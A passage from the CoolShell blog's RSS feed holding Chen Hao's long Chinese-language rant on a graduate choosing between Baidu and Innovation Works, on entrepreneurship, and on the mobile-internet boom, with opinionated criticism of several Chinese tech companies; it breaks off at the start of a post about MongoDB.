isPermaLink=\"false\">http://coolshell.cn/?p=5815</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>上一篇博文翻译了Steve Yegge的rant，这两天有一些事让我也想rant一下（所谓rant就是一篇巨长无比的抱怨和说教），不过无论是从见解还是恶搞来说肯...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/5815.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/5815.html\">来信， 创业 和 移动互联网</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>上一篇博文<a title=\"SteveY对Amazon和Google平台的长篇大论\" href=\"https://coolshell.cn/articles/5701.html\" target=\"_blank\">翻译了Steve Yegge的rant</a>，这两天有一些事让我也想rant一下（所谓rant就是一篇巨长无比的抱怨和说教），不过无论是从见解还是恶搞来说肯定没有SteveY的水平高，所以，这篇博文只是单纯的rant，看标题就知道了，就像“<strong>篱笆，女人和狗</strong>”一样，乡土味实足。所以，下述的一些观点未必正确，也未必靠谱，也就是我的个人唠叨罢了，我想到哪里说到哪里。（篇幅较长，见谅）</p>\n<h4>引子</h4>\n<p>我前两天，收到一封邮件，一位快要毕业的的大学生问我，是去百度，还是去创新工场？他在来信中说，从个人道德价值观来说，他想去创新工场，要远离流氓企业，不然会有狼狈为奸、助纣为虐的感觉，对不起自己。但是创新工场那边情况不熟悉， 不知道怎么选择，并问我现在比较热的移动互联网靠不靠谱。</p>\n<p>正好这两天我在微博里看到大家转贴李开复的几个让毕业生创业的微博，比如，<a href=\"http://weibo.com/1197161814/xwjDfAcf6\" target=\"_blank\">这个微博</a>，还有 <a href=\"http://weibo.com/1197161814/xw46V0Cz4\" target=\"_blank\">这个微博</a>。呵呵。</p>\n<blockquote><p><strong>李开复</strong>：有关毕业生高科技创业,我的建议：1）创业需要理解趋势、汇集精英、实践经验,因此大学毕业不要主导创业,只能参加创业公司,2）最好远在毕业前就寻找创业公司实习机会（无偿亦可）,因为也许创业并不适合你或你想象那样,3）毕业时若想学习创业,最好到创业公司。到大公司学习能学技术但不够针对性。</p></blockquote>\n<p>还有前两天的“移动开发者大会”，然后，又有一个以前的同事和我谈了一下他创业的事以及他的想法，正好又在网上看到罗永浩同学的那个“<a href=\"http://v.youku.com/v_show/id_XMzE3OTIyMzg0.html\" target=\"_blank\">一个理想者创业的故事</a>”的演讲。还有一些做blog插件的团队希望我能在酷壳上安装一下他们的插件。等等，等等。所以，让我有了这个可以rant的写作情绪。</p>\n<p><span id=\"more-5815\"></span></p>\n<h4>邮件回复</h4>\n<p>请原谅我不能把邮件的原文直接贴出来，因为自从上次我在博客中点名评批了关于敏捷的东西，我明白了，这个世界上，当把你放到公众的高度上，很多以前可以说的话可能都不能说了（虽然我还是在说，说得还比较尖锐，可能本性如此，呵呵）。言归正传，关于这个网友问我的问题，要是我的话，我可能两个都不会选，但是毕竟人家刚毕业，回想一下我当年毕业的时候，不也一样，就像菜市场里的大白菜一样被路过的人挑来捡去的，那有什么选择可言。人都是需要慢慢成长的，刚毕业的这个时候还不能挑挑捡捡的时候，能有两个offer在手作选择已是非常不错了。另外，人家刚毕业，面对北京这个物价奇高的地方，首先要解决的是生活下来，而不是像那些有工作经验的人一样可以追求更高层次的东西，所以，我不应该从我的角度上来思考这个问题，应该从他们的角度，从更现实的角度来思考。于是，我是大概是这么回复他的（加上了很多口水话是为了更像rant）——</p>\n<ul>\n<li>我对新东西是总是持谨慎的态度，创新工场的刚起步，还需要磨练，而且从现阶段的情况看下来，并不太妙。百度的技术还是很不错的，人家好多年了，用户数量也很大，也有很多积累了，所以还是应该去百度。我之所以这样评价，是因为我始终觉得：1）<strong>创业是不需要助跑的，创业是一种积累到了自然就出现的东西</strong>。你也许并不那么觉得，但是我觉得创业助跑就像高考的辅导班一样，或是像英语培训班一样，正如老罗所说的，出成绩的本来就是人家先天悟性不错，不行的总是不行，而需要培训的大多数总是有问题的，搞培训的都知道这个道理。退一步讲，就算是这些辅导班让你可以考个高分，但是后面呢？创业是一条很长的路，不是考了高分拿了风投被人宣传就能成的事。2）<strong>刚毕业的学生，要学的不是创业，而</strong><strong>是开眼界，长见识，这比任何事都重要，因为我们的的视野决定了我们的人生</strong>。大家也知道我国的教育是什么情况。所以，刚毕业的同学第一件事是把教育和工作差距上的那条大沟给填平了。因此，我觉得大公司有更多的资源和牛人能开阔你的眼界，而不是创新工场里的那些补习班式的团队和项目。而要开眼界应该是去一些成熟的公司，就算要学习创业也应该去那些成型了的创业公司，这是因为，更多的是你要看的那些成功公司的经验和思路。<strong>你可能知道什么不好，但是你没有见过好的，你将不知道什么是好的</strong>。你要学习的是成功的东西，而不是失败的东西，这是就我觉得开眼界长见识的最大的价值。</li>\n</ul>\n<ul>\n<li>关于那些流氓企业（商业公司总是会有些商业手段的，但是使用的是流氓手段的必然是流氓），我们处在的这个社会似乎已经分不清楚什么是流氓手段，什么是商业手段，但是有些公司的做法还是太过份，在如今这样垃圾的社会中居然还能脱颖而出，不得不让人佩服。不过我认为，<strong>我们需要用出世的态度去思考，入世的态度去做事</strong>。社会是个大染坊，我们走入社会参加工作后，很多人都会迷失在其中，分不清什么是入世什么是出世，所以这需要我们坚持住我们心中那份理想的价值观，这个很难，能坚持下来的也不多。无论这个公司的文化让你有多么的不认同，但只要其好的东西（比如百度的技术还是很不错的），能让你开眼界长见识，那就没有问题。因为不管你去到哪里，那些恶心的事总是会或多或少的存在，这就是中国的社会。所以，<strong>我们去那些无良企业，并不是学他的文化，而是学习他的技术和他们把事做出来的经验，根据鲁迅的拿来主义，重要的去其糟粕，取其精华</strong>。必竟人家那么大，在技术方面总是有可取之处的，学成后离开他就好了。我们的教育把我们洗脑洗成了只有是和非的价值观，要么就是大好，要么就是大恶。所以，我们的感情要么就是爱，要么就是恨。没有必要，社会是多元的，多维的，这需要我们要学会分开看问题。<strong>对于刚毕业的学生，还是多去学学一些实实在在的技术，百度是有技术的</strong>。</li>\n</ul>\n<div>所以，对于李开复的微博，我认为，毕业去创业并不好。去学习创业也要看看是去哪里？很多朋友都觉得毕业就算学完了，这就错了。大学毕业表示真正的学习才刚刚开始，我比较保守，我觉得走出学校，还需要5-10年的社会学习和积累。我经历告诉我，大多数人是浮燥的，急功近利的，好大喜功的，无论是投资人，创业者，还是打工者。真正踏踏实实学习和努力的人很少。我想说是，不要被人两三句话就说得激动万分，不知道自己是谁了，<strong>你一开始没有吃好的饭，你总有一天得回来吃的</strong>。</div>\n<h4>创业 和 事业</h4>\n<p>我上上周未和我一个朋友聊了一下他的创业的想法和经历。他和我说他见到这个国外投资人曾投过MySQL，当这个投资人听到他的项目的时候，很惊讶，因为，投资人来中国听到几乎全部都是“业务型的项目”，而从他这里第一次听到“技术型的项目”。投资人非常感兴趣，于是就聊了一会就决定投他的项目了。</p>\n<p>我在想，如果我们假设有一天MongoDB的创始人在中国找投资人，对中国的投资人说，我有一个很NB的想法，我要做一个开源的非关系型的数据库，可以解决大规模数据量的快速水平扩展的问题，并可以为现在互联网上的数据处理增加巨大的性能价值， 我不知道中国的投资人对这样的项目会不会感兴趣？我看悬。我这里不是说“业务型的项目”不好，我只是想说，在一个浮燥的环境里，几乎没人会关注这些“技术型的项目”。“业务型的项目”外表很华丽，更能打动人，可以让人看到“钱途”，所以，也就没人会关心那些可能改变世界的长期性的“技术型的项目”。多可悲的社会。</p>\n<p>其实，<strong>创业就是开创事业</strong>。重点是事业，不是开个公司，也不是挣钱，<strong>公司和挣钱是你事业的副产品</strong>。<strong>事业是我们的理想，是我们对自己人生价值的一种诉求</strong>。我个人认为，只有上升上事业的层面上来，才能算得上是创业。如果你只是想开个公司，接两个项目做做，挣点钱，我觉得那就是在浪费时间浪费生命，还不如去跟着一个不错的公司打工，除非你是想以一种曲线的方式达到你的人生理想目标。<strong>你的公司至少应该要去改善或是颠覆点什么，如果还有价值观的输出，那就更完美了</strong>。总之一句话，<strong><span style=\"color: #cc0000;\">别把自己给卖了</span></strong>。</p>\n<p>就算是在公司里打工，也应该有这份理想主义。我一直和我的团队说——我们每一个人今天不愁找工作，外面也有很多东西在诱惑着我们。对于我们来说，我们今天在Amazon这个高速增涨并很踏实的公司里，我们应该把在公司里打工升华到事业的层面上来。看看，Amazon是怎么一点一点地、扎扎实实地、有条不紊地、通过技术分析用户和市场来改变世界的，想想自己在Amazon公司里可以影响些什么，可以领导些什么，可以跟着Amazon去为这个世界改变些什么。当你有这样的心态和方式，积累到了，你就能去改变些什么，那时，你要出去创业也就成了一件水到渠成的事。</p>\n<p>看看今天如此浮燥的社会，我不知道人们怎么了。<strong>中国的很多的创业公司好像都只是为了上市挣钱，而国外更多的公司是为了上市后能改变世界或颠覆传统，这其中有多大的差距啊</strong>。每当看到中国有那么多的CopyCat（<a title=\"中国的C2C模式\" href=\"https://coolshell.cn/articles/3820.html\" target=\"_blank\">或叫C2C</a>），而国外有那么多的创新，我实在无法为国人感到骄傲。他们甚至还为他们的抄袭找到很多理由，比如，有人说Linux 抄 Unix还不是抄，Windows还不是抄MacOS，OpenOffice抄MS Office，等等。我同意很多好的创意会被人Copy去，这本来也没有什么。只是我想说的是：</p>\n<p style=\"padding-left: 30px;\">1）判断一个事有没有抄了另一个事。我觉得不应该看其表面特征像不像，应该看其有没有颠覆性。比如Linux对Unix的颠覆。PC对苹果电脑的颠覆（Windows属于PC机颠覆时代的产物，让PC机更具颠覆性。 同样，Linux的开始也是先上x86）。<strong>就算是表面上复制了你，但是用另一种模式其改变了世界，颠覆了传统，创造了价值，这就不是抄袭</strong>。而中国的很多团队呢，还有那个山寨大王的公司，他们只不过是在做简单的复制，Copy而已，根本谈不上什么颠覆，不知道这个山寨公司怎么想的？钱没处花了吗？不知道这个世界上还有更多的东西更有价值吗？另外，举个例子，新浪微博可能是一个比较不错的复制，我暂时不说其在技术处理信息的回复上和Twitter巨大的差异（<a title=\"国内微博和Twitter的最大不同\" href=\"https://coolshell.cn/articles/5247.html\" target=\"_blank\">可以看看这篇文章</a>），但是我们可以看到它还是有很多不错的功能（可惜的是新浪的名人路线让其永远不能理解什么是互联网的内涵，而很多人也迷失在这种浮华和虚荣之中）。而其它什么饭否，知乎，等等就是纯粹为了山寨了。如果我们不能颠覆一个产品，我们至少要想着去颠覆或是改善其某个或是几个功能吧。单纯的复制，走不长远，因为你无法理解其内涵。</p>\n<p style=\"padding-left: 30px;\">2）我们能不能问问我们自己。只是简单地去复制一个别人的想法，而没有经过自己的分析和考虑，这样的创业有意思吗？总有一些东西要不同吧，总不能靠我们政府帮你墙了你的复制源吧。这样的人生有什么意思吗？还是那句话——<strong>别把自己给卖了</strong>。</p>\n<p>我有一些同学，都在给中国的国有银行做项目，做了十多年了，还是和十年前几乎一个样。项目就是打单，加班，赶工，需求拼命变更，被甲方和SB领导蹂躏，等等，等等。我在想，一个公司，十多年了，还是老样子，连最基本的商业运作和项目管理还是十年前老样子，哎。十年，在IT行业，这十年是完全翻天覆地的变化，人们的生活方式和传统都受到了前所未有的改变和颠覆。然而，我们很多这样的公司，这十年，他们并没有改变什么，连自己都没有改变。银行里的系统还是向十年前那样，还是用十年前的方式和银行打交道。这些公司，他们从未想过要去改变或是颠覆点什么，就算想过，也就坚持了一两年。<strong>我们中国的企业，大多数是没有理想，没有抱负的企业</strong>。这样的例子有很多很多。</p>\n<ul>\n<li>看看csdn，it-pub, 中文infoQ等一系例的技术论坛。尤其是 CSDN，也有十来年的历史了吧。从来没有想过怎么过提高信息质量，论坛和博客系统有段时间那叫一个难用啊。充斥着各种各样的广告和产商的软文和活动。看看<a href=\"http://weibo.com/1654762921/xx4FL0z6g\" target=\"_blank\">这个微博</a>（<strong>注</strong>：<span style=\"color: #800000;\">这个微博已经删除了，这个微博是CSDN的老总范凯不知道怎么在论坛时放广告了，因为全都放满了</span>），你就知道为什么这些论坛干了那么长时间也无法成为像<a href=\"http://stackoverflow.com/\" target=\"_blank\">StackOverflow</a>或是<a href=\"http://www.quora.com/\" target=\"_blank\">Quora</a>这样的水平。再说说<a href=\"http://www.infoq.com/cn/\" target=\"_blank\">InfoQ中文站</a>，完全就是敏捷和TW的喉舌，主编里面有半数以上是TW公司的，上面的文章就像看新华网，人民网一样失去了媒体应有的客观性。而且那里的语言栏目没有C/C++语言，你能想像这些坑爹的编辑是怎么想的吗？所以，他们也无法成为像<a href=\"http://www.cnet.com/\" target=\"_blank\">CNet</a>, <a href=\"http://techcrunch.com/\" target=\"_blank\">TechCrunch</a>，或是像<a href=\"http://drdobbs.com/\" target=\"_blank\">Dr. Dobb&#8217;s</a>。因为那里是产商的广告战场，而不是技术人员的论坛。他们的目光短浅之处就在于，<strong>他们并没有明白真正让论坛和社区有人气有权威的是技术人员，而不是这些为了销售的产商。难道不想成为最权威的技术网站吗？难道不知道成为最权威的技术网站后面所蕴藏的商机会比今天这种模式要大N倍吗</strong>？</li>\n</ul>\n<ul>\n<li>淘宝也一样（也许马云明白，下面的人不明白）。前段时间我在淘宝商城里买了一个假货。于是我找在线客服投诉，在线客服不管，让我打电话去杭州（这么大个公司连个800的客服电话都没有，shit!），我只好打到杭州，经过若干个占线的经历后（淘宝的call center真是弱爆了），杭州的客服告诉我，让我在线点“让淘宝客服介入”，我说，我打电话来淘宝就是让你介入的，但我却被告之要求介入的唯一方法必需是在网站上点相应的按钮。偶滴神啊，哪个脑子进水的经理设计的这客服流程啊（这不是和老罗那个短片里星巴克的“中杯”的段子不一样脑残吗）。好吧，我还没疯，我去网站点了，结果3-4个月，淘宝的客服根本就没找我，连个邮件都没发。可见，<strong>淘宝几乎是和商家一伙的，而不是站在买家一边的</strong>。淘宝的目光短浅之处就在于，<strong>他们并没有明白真正付钱的是买家，而不是那些商户。如果买家满意了，淘宝及其商户才能赚到钱。这么浅显的道理不懂吗？也许，淘宝知道他现在平台上的这些商户让他根本不敢面对买家</strong>（另外，关于淘宝的技术，我觉得有点两极分化，后台看似很强，但是前台用户的管理页面那个恶心啊，还要整些ActiveX插件，搞得只支持IE 和 Win，仅支持IE也罢了（最近发现其支持chrome了），有时候下单的时候看不见提交按钮，联系在线客服，他让我：换别的浏览器，如果不行，就清空所有的缓存，再不行就重装浏览器，WTF，你们开发人员有没有搞错啊）</li>\n</ul>\n<ul>\n<li>百度和360就更SB了。有技术，有资金，有用户，有市场，还是上市公司，也积累了那么多年，也有很不错的产品和功能，但是就一定要去走流氓的路线，脑子透逗了吧。<strong>这不是目光短浅的问题了，这是人品和智商的问题了</strong>。难道百度不觉得有一个权威公正的搜索排名，会比恶意地竞价排名能挣更多的钱吗？难道百度不明白保护知识产权也能挣更多的钱吗？因为，当你让一个生态环境良性循环起来，你会发现，作为生态引擎的你会让整个生态系统更加依赖你，追捧你，而这个良性的生态系统会让你不由自主地进化和变得越来越强。对于360我就不多说了，你懂的，你要是不懂，那也不是目光短浅的问题了，也是智商的问题了。</li>\n</ul>\n<p>所以，他们能走到最高点也就是这样了。不想去创新，不想去改变传统方式，不去分析和关注用户，只为了挣钱挣钱，眼光就是如此短浅，所以也就成了钱和投资方的奴隶，于是也就变得愚蠢和迟钝了。<strong>真是Stay hungry, Stay foolish啊，hungry到饥不择食，foolish到自掘坟墓</strong>。</p>\n<p>当然，你一定会说，对这些大公司来说是这样的，但是对于创业的小团队来说，我说的这些东西太大了，什么改变世界，什么颠覆传统，这个命题太大了。你甚至可以举出像“超级玛丽”这样的经典游戏，或是像“开心农场”这样打发时间的游戏，其并没有改变世界，也没有颠覆传统，但人家还是很成功的。没错，有些时候，我们创业并不需要去改变什么，只需要去满足别人些什么（满足他人的虚荣心的微博，让人打发时间的游戏）。对于我们大多数人来说，能做一个软件产品有很多用户在用就很满足了。能让很多用户来用你的东西，说白了还是在改变什么，或是在颠覆点什么。你没有发现，满足人们的虚荣心，让人打发时间也不是件简单的事，虽然这些只是玩一阵子就不玩的东西，但是，不可否认电子游戏界的创新以及其方式的改变也是相当猛的。</p>\n<p>好吧，我再圆一圆我的话——<strong>创业总是要去改变点什么，颠覆点什么，或是满足点人们什么，解决点什么，而只有想要去创建某种规则，建立某种秩序，并有价值观输出的团队，才有可能成为真正的事业</strong>。</p>\n<p>在这个社会里，很多人并不明白这个道理，就算是明白，也不会这么行事。我有一个以前的同事，来中国Amazon面试Kindle App团队的部门经理，过了，也给offer了。但是不想来，为什么？因为他觉得现在他在管一个几十人的团队。而Amazon的这个团队太小了，只有不到十人，而且职位的title不满意。这就是我前面说的，眼界不够开阔的问题。小团队干大事情这不挺好的吗？我们很多人都把眼光放在了那些虚的地方，比如部门大不大，位置高不高，薪水诱不诱人，但却没有看到要做这个事有多大。可惜啊。</p>\n<p>上新浪微博看看，全是什么XXCTO，XXCEO，XX创始人，XX总监，XX高级主管……title要多牛有多牛，但可惜的是也就是个名称罢了，我花10元钱也可以为自己印一盒要有多牛就有多牛的名片。那些用人经理和猎头只会问，你职位是什么啊？你管多少人啊？好像是个高级主管，管上几十上百人就很牛似的。可是，你用这个title和这些人做了什么事啊？这就像我质问Thoughtworks和敏捷人士们一样，你们用这些所谓NB的东西做了什么大事啊？！（注意：我不是说，挣多少钱和职位发展不重要，我只是说，相对于做什么事，怎么做事来说，这些都是其次重要的，只要做的事靠谱，报酬和职业都会得到的）</p>\n<p>好吧，让我再回到创业的话题上来，<strong>有一本书叫“<a href=\"http://book.douban.com/subject/3889178/\" target=\"_blank\">Rework</a>”，想创业的朋友可以好好读一读</strong>。“保持 小的公司规模，你不需要加班，你没有必要耗尽你一生的积蓄，承担财务风险。你可以一边继续日常工作，一边开始创业，这样随时都能有现金满足需要。你甚至不需要办公室。现在可以在家工作，和从未见面离你千里之外的人合作…… ” 这是一本让你可以去思考的书，远比那些名人们的微博有价值地多得多。<strong><span style=\"color: #cc0000;\">不要跟随大流，保持住内心的理想，Think it Big, Make it Different</span></strong>。</p>\n<p>我没有能力去诠释人活着是为了什么。但就我而言，我认为应该在自己那短暂的人生内能去多经历更多一些有意义事情，能多做一些更有意义的事情，人生太短了，人太容易变了，时间，精力和人性都经不起折腾。只要做的事有意义，跟着别人一起去开创事业未尝不可，开公司又不是什么时尚。所以，如果你是一个做事的人，我觉得，不要去盲目地创业，那是在浪费时间，潜下心来，观察，思考，尝试，积累，就像一只在非洲草原上匍匐前缓缓逼进猎物的狮子那样有耐心。<span style=\"color: #cc0000;\"><strong>把自己当成一个沉着稳重猎手，而不是战场上的炮灰</strong></span>。</p>\n<h4>移动互联网</h4>\n<p>我不知道大家怎么看这个名词的。这是个当今巨火无比的词儿。有人跟我说过一个段子，某中国大公司的研究所的某某研究员是做出了这样的口沫横飞的定义——“移动互联网绝对是个了不起的东西，因为互联网是移动互联网的子集，因为静止是相对的，移动是绝对的，所以移动互联网必然是未来的一切……”。领导的讲话真是没得说，你我都不可能说出来这样的话。</p>\n<p>在我眼中，互联网才是核心，移动只不过是互联网的补充，只不过是为了让互联网有更好的体验。今天，全世界都打鸡血似地开发移动应用，我仿佛看到当年Windows平台出现的时候，大家都在Windows上写一些小软件一样。不可否认其中是有一些很不错的应用，也不可否认苹果的App Store让这些“软件个体户们”有了更好的创作平台，而软件质量也显著提高。但是更多的应用都会像Windows平台上的那些小软件一样，必然会很快被淹没在历史大潮之中。没有后面互联网和实际业务的强力支持，移动上的应用也就是一些小打小闹的东西。今天移动互联网的热，就像10年前.com的热一样，我看到移动互联网中像当年.com那样大量的泡沫。我看到各种创业团队和投资一涌而上，而我们都知道，<strong>当潮水退却的时候，就可以看到哪些人在裸泳了</strong>。</p>\n<p>今天的移动设备和当年的PC机何其相似，真正制定规则的人都是那些在制造移动设备及其操作系统的公司。当年在Windows上有很多不错的共享软件，什么foxmail，netants，cuteftp，…… 我记得当时foxmail被以2000万收购，但是今天也就这样了，邮件都都在Web或是移动端收了。我相信今天在这些在移动设备上开发应用的创业团队，很有可能也会在5到10年之后面临着相同的尴尬（可能会更短）。我倒不是说这样的小软件没意思，我只是想说，这样的小软件的开发完全没有必要成立公司，要成立公司，就应该要干得比这个事要大。不是吗？难道你不想创建一个能比自己寿命还长的事业和公司吗？移动互联网上的很多小应用，更像是大学里学生们开发着玩的一些软件玩具罢了。</p>\n<p>移动互联网上很多app感觉特别无聊，比如foursquare, 街旁之类的东西，虽然我实在不能理解这样的东西为何流行，但我想起了我6年前（2005年），当blog出现的时候，我在MSN的BLOG上记录<a href=\"http://blog.sina.com.cn/s/blog_538efefb0100n53e.html\" target=\"_blank\">过自己的一些粗糙的想法</a>（现在搬到了新浪Blog）。当时我认为，<strong>互联网的进化和人类社会的进化很相似，web1.0 到 web 2.0，就是从“自由”到“自我”的一个过程。</strong>今天，我们看到了 “自我”这个过程的各种各样的演绎，也许，像这种地理位置签到的玩意儿同样满足了人们那种“自我”的渴望。不过，我们都可以看到今天互联网上“自我”的泛滥，人们在网上晒各种各样自己的东西，在豆瓣上展示自己读过的书，看过的电影，在微博上晒自己的旅行照片，生活点滴，自己的车子房子老婆孩子，公司，职位，简历，加V，衣食住行，吃喝拉撒，等等一切可以拿出来炫耀的东西，包括自己的地理位置。我想到了“自我”，但我万万没有想到自我的东西里还包括自己的位置。<strong>这些不创造任何价值的自我的东西终将是过眼云烟，昙花一现</strong>。<strong>我们都得问问自己这个问题——我们有没有在创造价值</strong>？！（也许这个话说得有些绝对了，对于中国人来说，这是我们的culture啊。另外，我意识虚荣和炫耀并不产生价值是错的一一GMM的事给了我一记漂亮的耳光。试想，当今这个社会，如果所有的二奶都来炫耀谁包养了她，官员们都能签到他们出入的位置，那么还是能创造很多价值的。滑稽吧）</p>\n<p>今天，我大胆预测一下未来互联网的走势，只有了解历史，我们才能看清未来。</p>\n<ul>\n<li><strong>互联网的精髓是自由和分享</strong>。这个东西以前是这样，现在也是这样，未来还是这样。就算是我们正在经历那些反人类的东西。但这个精神和趋势必然是无法阻挡的。我们在网上没有边界地分享我们的数字信息，或公开，或私密，无论是我的发邮件，写博客，织微博，还是看视频，听音乐，写评论。都是自由和分享的体现。移动互联网会把这个事体现到极致。</li>\n</ul>\n<ul>\n<li><strong>互联网的本质是信息组织</strong>。关于信息，以前是ICP发布信息，现在是ICP feed信息(订阅)，大众参与组织信息。但是都会有一个问题，那就是信息太多，等于没有信息。搜索引擎的出现部分解决了这一问题。但没有解决彻底。因为搜索出来的东西还是太多，而且是搜索引擎的单一标准，而不是个体差异和喜好的标准。所以，<strong>我觉得未来的信息必然要走个性化的路。搜索引擎或是别的平台（如豆瓣，电子商务等）会学习用户的习惯和喜好，然后根据用户的喜好出现不同的结果。这就是所谓的推荐</strong>！<strong>未来必然是推荐的时代</strong>。</li>\n</ul>\n<p>所以，对于移动平台，我觉得最有价值的就是这些事情：1）<strong>阅读</strong>（如：kindle，新闻，图书，订阅等），2）<strong>分享和交流</strong>（如：facetime，iMessage，微信，米聊，电邮等等），3）<strong>电子商务</strong>（如：机票酒店餐饮购物），4）<strong>推荐</strong>（目前这一块还是比较空的）。注意，我们需要清楚地认识到，其中的分享和交流是对传统电话和短信的延续，并不是取代！有些时候，本来直接打个电话发个短信就解决了的事，我们还要让用户上我们的平台，这就没有意义了。</p>\n<p>哦，你会问我，云计算在哪里？云嘛，在天上漂着呢，尤其是中国的各种云。我不知道你还记不记得前几年的“网格计算”？现在真的成浮云了。不要去追随着那些媒体们热捧热炒的东西，<strong>中国的科技媒体们一来只会跟产商，二来他们哪有你懂技术懂产品啊</strong>。所以，不要被他们吹晕了，不知道自己该干什么了。还是想一想，你要解决什么问题，关注这些名词或代号没有意义。</p>\n<h4>结尾</h4>\n<p>最后，我要说明一下，本文是我思考了十天左右的文章，不存在喝多了，也不存在凌晨写作头脑不清的问题，也不存在本来要把一篇给小范围传播的文章给大家看。对于我在文中批评的那些公司，我希望他们能把我的这些rant当成一种建议和鞭策，当然，你们需要适应我调侃和尖锐的语气。千万不要学那些敏感人士，或是黑我的blog，或是骂人，因为这样只会让你们看上去更为难堪。</p>\n<p><span style=\"color: #cc0000;\">最后注明一下版权，<strong>本文由陈皓原创发表，你可以任意传载，但必需在明显位置注明作者和出处，而且不能用于任何商业用途</strong>。</span><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/8170.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/08/ajax_error-150x150.jpg\" alt=\"一次Ajax查错的经历\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8170.html\" class=\"wp_rp_title\">一次Ajax查错的经历</a></li><li ><a href=\"https://coolshell.cn/articles/6142.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/12/amazon_global_selling-150x150.jpg\" alt=\"三个事和三个问题\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/6142.html\" class=\"wp_rp_title\">三个事和三个问题</a></li><li ><a href=\"https://coolshell.cn/articles/4990.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/07/programmer-150x150.png\" alt=\"程序员技术练级攻略\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4990.html\" class=\"wp_rp_title\">程序员技术练级攻略</a></li><li ><a href=\"https://coolshell.cn/articles/3345.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/12/googlequestion-150x150.jpg\" alt=\"140个Google的面试题\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3345.html\" class=\"wp_rp_title\">140个Google的面试题</a></li><li ><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/10/communication-150x150.png\" alt=\"聊聊团队协同和协同工具\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_title\">聊聊团队协同和协同工具</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/5815.html\">来信， 创业 和 移动互联网</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/5815.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>243</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>千万别用MongoDB？真的吗？！</title>\n\t\t<link>https://coolshell.cn/articles/5826.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/5826.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Thu, 10 Nov 2011 00:28:26 +0000</pubDate>\n\t\t\t\t<category><![CDATA[数据库]]></category>\n\t\t<category><![CDATA[轶事趣闻]]></category>\n\t\t<category><![CDATA[10gen]]></category>\n\t\t<category><![CDATA[Database]]></category>\n\t\t<category><![CDATA[MongoDB]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=5826</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>某人发了一篇Don&#8217;t use MongoDB的血泪控诉，我把原文翻译如下，你可以看看。不过，我想我们还要去看看10gen CTO的对此事的回复，我...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/5826.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/5826.html\">千万别用MongoDB？真的吗？！</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>某人发了一篇<a href=\"http://pastebin.com/raw.php?i=FD3xe6Jt\" target=\"_blank\">Don&#8217;t use MongoDB</a>的血泪控诉，我把原文翻译如下，你可以看看。不过，我想我们还要去看看10gen <a href=\"http://news.ycombinator.com/item?id=3202081\" target=\"_blank\">CTO的对此事的回复</a>，我们还要去在<a href=\"http://www.reddit.com/r/programming/comments/m2b2b/dont_use_mongodb/\" target=\"_blank\">Reddit上</a>看看大家的说法，10gen <a href=\"http://news.ycombinator.com/item?id=3202081\" 